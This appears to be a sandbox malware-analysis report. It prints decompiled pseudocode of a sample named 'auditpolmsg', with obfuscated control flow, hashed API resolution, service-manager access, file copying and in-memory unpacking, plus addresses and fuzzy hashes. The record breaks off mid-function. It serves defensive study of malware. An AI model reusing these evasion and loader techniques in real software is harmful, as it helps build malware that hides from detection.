Instruction Fuzzy Hash: 2F810432F447114BDB13AF798CA172A36EEABA4B44F12C439F811DF299EAA1CD0447D1

Uniqueness

Uniqueness Score: -1.00%

Function 00369860, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 195
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00369860() {
				char _v524;
				unsigned int _v528;
				char _v536;
				void* _v544;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t29;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x36e310;
							if( *0x36e310 == 0) {
								 *0x36e310 = E00363E60(_t64, E00363F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x36e54c; // 0x5ce050
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x36dbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E00363E60(_t64, E00363F00(0xd9518805), 0x141622d6, _t94);
										 *0x36dbd8 = _t69;
									}
									_t53 =  *0x36e54c; // 0x5ce050
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E00367C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x36e3f4;
											if(_t60 == 0) {
												_t60 = E00363E60(_t64, E00363F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x36e3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E00363D00( &_v536);
											_t72 =  *0x36e54c; // 0x5ce050
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x36dbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E00363E60(_t64, E00363F00(0xd9518805), 0x141622d6, _t94);
								 *0x36dbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x36e54c; // 0x5ce050
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E00363040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x36e494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E00363E60(_t64, E00363F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x36e494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x36dd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E00363E60(_t64, E00363F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x36dd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x36e54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E00367E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x36e18c;
								if( *0x36e18c == 0) {
									 *0x36e18c = E00363E60(_t64, E00363F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x36e54c; // 0x5ce050
									 *((intOrPtr*)(_t47 + 8)) = 0x367e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x00369868
0x0036986a
0x00369871
0x00369875
0x00369875
0x00369878
0x00369880
0x00369880
0x00369880
0x00369880
0x00369885
0x00000000
0x00000000
0x0036988b
0x00369993
0x00369995
0x003699ad
0x003699ad
0x003699bb
0x003699bd
0x003699bf
0x003699c1
0x003699d8
0x003699c3
0x003699c3
0x003699c8
0x003699ce
0x003699ce
0x00000000
0x00369891
0x00369891
0x00369896
0x00369936
0x0036993b
0x00000000
0x00369941
0x00369941
0x00369947
0x00369949
0x00369961
0x00369963
0x00369963
0x00369969
0x0036997d
0x0036997f
0x00369981
0x00369986
0x00000000
0x00369986
0x0036989c
0x0036989c
0x00369927
0x0036992c
0x00000000
0x003698a2
0x003698a7
0x00369905
0x0036990d
0x00369912
0x0036991a
0x00000000
0x003698a9
0x003698ae
0x00000000
0x003698b4
0x003698b4
0x003698bb
0x003698ce
0x003698d3
0x003698d3
0x003698e4
0x003698ea
0x003698ef
0x003698f5
0x003698fb
0x00000000
0x003698fb
0x003698ae
0x003698a7
0x0036989c
0x00369896
0x00000000
0x0036988b
0x003699e2
0x003699e7
0x00369ae3
0x00369ae8
0x00369b02
0x00369b07
0x00369b09
0x00369b1c
0x00369b21
0x00369b21
0x00369b33
0x00369b35
0x00369b3e
0x00369b3e
0x00369b44
0x00000000
0x00000000
0x00000000
0x00000000
0x003699ed
0x003699ed
0x00369a73
0x00369a78
0x00369a7a
0x00369a8d
0x00369a92
0x00369a92
0x00369a99
0x00369a9b
0x00369aa0
0x00369aa2
0x00369ab5
0x00369aba
0x00369aba
0x00369ac7
0x00369ac9
0x00369ace
0x00369ad0
0x00369b4f
0x00369b58
0x00369ad2
0x00369ad2
0x00369ad9
0x00000000
0x00369ad9
0x003699f3
0x003699f3
0x003699f8
0x00369a47
0x00369a49
0x00369a61
0x00369a61
0x00369a67
0x00369a69
0x00000000
0x003699fa
0x003699fa
0x003699ff
0x00000000
0x00369a05
0x00369a05
0x00369a0d
0x00369a12
0x00369a17
0x00369a1f
0x00369a24
0x00369a2c
0x00369a31
0x00369a38
0x00000000
0x00369a38
0x003699ff
0x003699f8
0x003699ed
0x00000000
0x00369aea
0x00369aea
0x00369aea
0x00369b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,005CE038), ref: 0036997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 003699BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 00369A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 00369B33

Strings

2S, xrefs: 00369A05
P\, xrefs: 003698EF, 00369969, 003699C3, 00369A2C, 00369AC9, 00369B35
Y4[0, xrefs: 00369AEA

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: 2S$P\$Y4[0
API String ID: 2382770032-2732765257
Opcode ID: 494f50d63a58f4f8e03af9685cced662594b3c1875e360dacc74558e5a2b24ea
Instruction ID: 29038fc1cabb7cdf5e554dca5db43a13aad79c4fc9537fcecbf75e3b79c14f09
Opcode Fuzzy Hash: 494f50d63a58f4f8e03af9685cced662594b3c1875e360dacc74558e5a2b24ea
Instruction Fuzzy Hash: E761E535B042059BEB1AAF68EC8576A32DDDBA1704F11C42EF105DF359EBB0CD0987A2

Uniqueness

Uniqueness Score: -1.00%

Function 00368400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00368400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E0036B6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x36dec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E00363F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E00363E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x36dec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x36de3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E00363F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E00363E60(_t101, _t98, 0x20de7595, _t126);
									 *0x36de3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x36e1d4;
										if(_t93 == 0) {
											_t97 = E00363F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E00363E60(_t101, _t97, 0xa229df38, _t126);
											 *0x36e1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x36e3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E00363F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E00363E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x36e3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x36de04;
							if( *0x36de04 == 0) {
								_t95 = E00363F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x36de04 = E00363E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x00368400
0x00368400
0x00368406
0x0036840e
0x00368416
0x0036841e
0x00368426
0x0036842b
0x00368430
0x00368438
0x00368440
0x00368445
0x0036844a
0x00368452
0x0036845a
0x00368462
0x0036846a
0x00368472
0x0036847a
0x00368482
0x00368491
0x00368496
0x0036849a
0x003684a2
0x003684af
0x003684b3
0x003684bb
0x003684c3
0x003684cb
0x003684cf
0x003684d7
0x003684df
0x003684df
0x003684e3
0x003684e3
0x003684e3
0x003684e3
0x003684e9
0x00000000
0x00000000
0x003684ef
0x0036866e
0x00368676
0x00368696
0x0036869a
0x003686a2
0x003686a6
0x003686aa
0x003686b2
0x003686b4
0x00000000
0x003686ba
0x003686ba
0x003686c5
0x003686d1
0x003686bc
0x003686bc
0x003686be
0x00000000
0x00000000
0x00000000
0x00000000
0x003686be
0x003686ba
0x003684f5
0x003684fb
0x0036854a
0x0036854f
0x00368551
0x00368558
0x0036855d
0x00368564
0x00368569
0x00368569
0x00368578
0x0036857c
0x0036857e
0x00368589
0x0036858f
0x00368591
0x00368598
0x0036859d
0x003685a4
0x003685a9
0x003685a9
0x003685af
0x00000000
0x003684fd
0x00368503
0x00368543
0x00000000
0x00368505
0x0036850b
0x00000000
0x00368511
0x00368511
0x00368518
0x0036851f
0x00368524
0x0036852b
0x00368530
0x00368530
0x0036853a
0x0036853c
0x00000000
0x0036853c
0x0036850b
0x00368503
0x003684fb
0x00000000
0x003684ef
0x003685c8
0x003685ce
0x00368630
0x00368635
0x00368637
0x0036863e
0x00368643
0x0036864a
0x0036864f
0x0036864f
0x00368660
0x00368662
0x00000000
0x003685d0
0x003685d0
0x003685d6
0x00000000
0x003685d8
0x003685de
0x003685e0
0x003685e7
0x003685ec
0x003685fa
0x003685fa
0x0036861d
0x0036861f
0x00368621
0x00368624
0x00000000
0x00368626
0x00368626
0x00000000
0x00368626
0x00368624
0x003685d6
0x00000000
0x003685b1
0x003685b1
0x003685b1
0x003685bd
0x003685bd
0x003685c7
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 0036861D

Strings

) `3, xrefs: 00368543
6w:, xrefs: 003685D0
) `3, xrefs: 003685C8
=, xrefs: 0036846A
6w:, xrefs: 00368662

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: ef542f2cd287c5cc211985d78d29ac7f8c2653a7e47de03db3a0485975bb4f4b
Instruction ID: 385f8e073b52c7ff8b9341fe291350510168216ae810d8c434b0ef6c224d77d9
Opcode Fuzzy Hash: ef542f2cd287c5cc211985d78d29ac7f8c2653a7e47de03db3a0485975bb4f4b
Instruction Fuzzy Hash: 07611771A083119FC716DF68C85562FBBE5ABE4714F00C91DF5998B2A4DBB4CD098F82

Uniqueness

Uniqueness Score: -1.00%

Function 002D0D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002D0F08
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002D0F3E
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002D0F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 002D0DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 002D0DC3

Part of subcall function 002D1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,002D0EFD,00000000), ref: 002D1155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 002D0E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 002D0E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 002D0E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 002D0E98

Memory Dump Source

Source File: 00000008.00000002.2262052090.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2d0000_auditpolmsg.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: 15891d395ebeaa6218be2c9988314ed9f63d1efcc3a7231ab5eab0be654e0aec
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: D531D4B1A143416BD724EB60CC84FAB77E9EBC8381F044D2EB94993361D635DCA1CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00367120, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00367120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E003634C0(0x36d830);
							__eflags =  *0x36dd1c;
							if( *0x36dd1c == 0) {
								 *0x36dd1c = E00363E60(_t21, E00363F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x36e548; // 0x607e28
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x36e494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E00363E60(_t21, E00363F00(0x9bab0b12), 0x7facde30, _t53);
								 *0x36e494 = _t9;
							}
							_t48 =  *_t9();
							_t11 =  *0x36df30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E00363E60(_t21, E00363F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x36df30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E00367080(_t21, 0x36d7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E00367080(_t21, 0x36d8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E00367080(_t21, 0x36d800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E00367080(_t21, 0x36d860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E00367080(_t21, 0x36d890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E00367080(_t21, 0x36d7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E00367080(_t21, 0x36d8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x00367120
0x00367120
0x00367120
0x00367125
0x00367125
0x00367125
0x00367125
0x0036712a
0x00000000
0x00000000
0x00367130
0x0036723f
0x00367246
0x00367248
0x00367260
0x00367260
0x00367266
0x00367268
0x0036726e
0x00367271
0x00367276
0x00367278
0x0036728b
0x00367290
0x00367290
0x00367297
0x00367299
0x0036729e
0x003672a0
0x003672b3
0x003672b8
0x003672b8
0x003672c5
0x00367136
0x00367136
0x0036713b
0x00367190
0x00367195
0x00000000
0x0036719b
0x003671a5
0x003671aa
0x00000000
0x003671aa
0x0036713d
0x0036713d
0x00367184
0x00367189
0x00000000
0x0036713f
0x00367144
0x0036716e
0x00367173
0x00000000
0x00367146
0x00367146
0x0036714b
0x00000000
0x00367151
0x00367158
0x0036715d
0x00000000
0x0036715d
0x0036714b
0x00367144
0x0036713d
0x0036713b
0x00000000
0x00367130
0x003671b4
0x003671b9
0x00367207
0x0036720c
0x00000000
0x0036720e
0x00367218
0x0036721d
0x00000000
0x0036721d
0x003671bb
0x003671bb
0x003671f8
0x003671fd
0x00000000
0x003671bd
0x003671bd
0x003671c2
0x003671df
0x003671e4
0x00000000
0x003671c4
0x003671c4
0x003671c9
0x00000000
0x003671cb
0x003671cb
0x00000000
0x003671cb
0x003671c9
0x003671c2
0x003671bb
0x00000000
0x00367227
0x00367227
0x00367227
0x00367232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,003668AC), ref: 00367266

Strings

(~`, xrefs: 00367268
Dry9, xrefs: 00367207
Dry9, xrefs: 0036715D

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: (~`$Dry9$Dry9
API String ID: 1029625771-3693350462
Opcode ID: d6052f5de8cd3b83bd31475f9d02f6a8d66677d4098382f9e2c18b089c4fae7f
Instruction ID: e2531bed6a4905cb41436632e187aafb8a9d82263fce682fbb651b8bb3b5c2b8
Opcode Fuzzy Hash: d6052f5de8cd3b83bd31475f9d02f6a8d66677d4098382f9e2c18b089c4fae7f
Instruction Fuzzy Hash: EA31D524B1D10043DE276BBA58A536E11AED7A270CFE1C427F061CF79DDD66CD8243A6

Uniqueness

Uniqueness Score: -1.00%

Function 00363780, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00363780(void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v520;
				char _v528;
				char _v536;
				char _v1040;
				char _v1056;
				short _v1072;
				char* _v1076;
				char* _v1080;
				intOrPtr _v1084;
				intOrPtr* _t12;
				intOrPtr* _t14;
				intOrPtr* _t16;
				intOrPtr* _t18;
				intOrPtr* _t20;
				signed int _t26;
				void* _t36;
				void* _t63;
				void* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				struct _SHFILEOPSTRUCTW* _t73;

				_t70 =  &_v1072;
				_t12 =  *0x36ddc0;
				_t66 = __ecx;
				_t63 = __edx;
				if(_t12 == 0) {
					_t12 = E00363E60(_t36, E00363F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x36ddc0 = _t12;
				}
				 *_t12( &_v1072, 0, 0x1e);
				_t14 =  *0x36ddc0;
				_t71 = _t70 + 0xc;
				if(_t14 == 0) {
					_t14 = E00363E60(_t36, E00363F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x36ddc0 = _t14;
				}
				 *_t14( &_v1040, 0, 0x208);
				_t16 =  *0x36ddc0;
				_t72 = _t71 + 0xc;
				if(_t16 == 0) {
					_t16 = E00363E60(_t36, E00363F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x36ddc0 = _t16;
				}
				 *_t16( &_v520, 0, 0x208);
				_t18 =  *0x36e298;
				_t73 = _t72 + 0xc;
				if(_t18 == 0) {
					_t18 = E00363E60(_t36, E00363F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x36e298 = _t18;
				}
				 *_t18( &_v1040, _t66);
				_t20 =  *0x36e298;
				if(_t20 == 0) {
					_t20 = E00363E60(_t36, E00363F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x36e298 = _t20;
				}
				 *_t20( &_v528, _t63);
				_v1084 = 1;
				_v1080 =  &_v1056;
				_v1076 =  &_v536;
				_v1072 = 0xe14;
				if( *0x36e30c == 0) {
					 *0x36e30c = E00363E60(_t36, E00363F00(0xd9518805), 0x262a6194, _t69);
				}
				_t26 = SHFileOperationW(_t73); // executed
				asm("sbb eax, eax");
				return  ~_t26 + 1;
			}

0x00363785
0x00363780
0x0036378c
0x0036378f
0x00363793
0x003637a6
0x003637ab
0x003637ab
0x003637b9
0x003637bb
0x003637c0
0x003637c5
0x003637d8
0x003637dd
0x003637dd
0x003637ee
0x003637f0
0x003637f5
0x003637fa
0x0036380d
0x00363812
0x00363812
0x00363826
0x00363828
0x0036382d
0x00363832
0x00363845
0x0036384a
0x0036384a
0x00363855
0x00363857
0x0036385e
0x00363871
0x00363876
0x00363876
0x00363884
0x0036388a
0x00363892
0x0036389d
0x003638a6
0x003638b4
0x003638cc
0x003638cc
0x003638d5
0x003638d9
0x003638e2

APIs

SHFileOperationW.SHELL32 ref: 003638D5

Strings

X~, xrefs: 0036379F
X~, xrefs: 00363806
X~, xrefs: 003637D1

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: X~$X~$X~
API String ID: 3080627654-3258893172
Opcode ID: c98417ce40f70872d7050a3691adb52d0956a9b2c71fc710793724bc643a1936
Instruction ID: 93d355f0a0f215bb58f9b664708e5243192e8884c6be9fdc279c4e77836baf76
Opcode Fuzzy Hash: c98417ce40f70872d7050a3691adb52d0956a9b2c71fc710793724bc643a1936
Instruction Fuzzy Hash: C631CFB5B003414BD716BB7ADC117AB37EAAB85704F00C92CF415CF289EBB4DA0587A1

Uniqueness

Uniqueness Score: -1.00%

Function 003680A0, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E003680A0(signed int __edx) {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
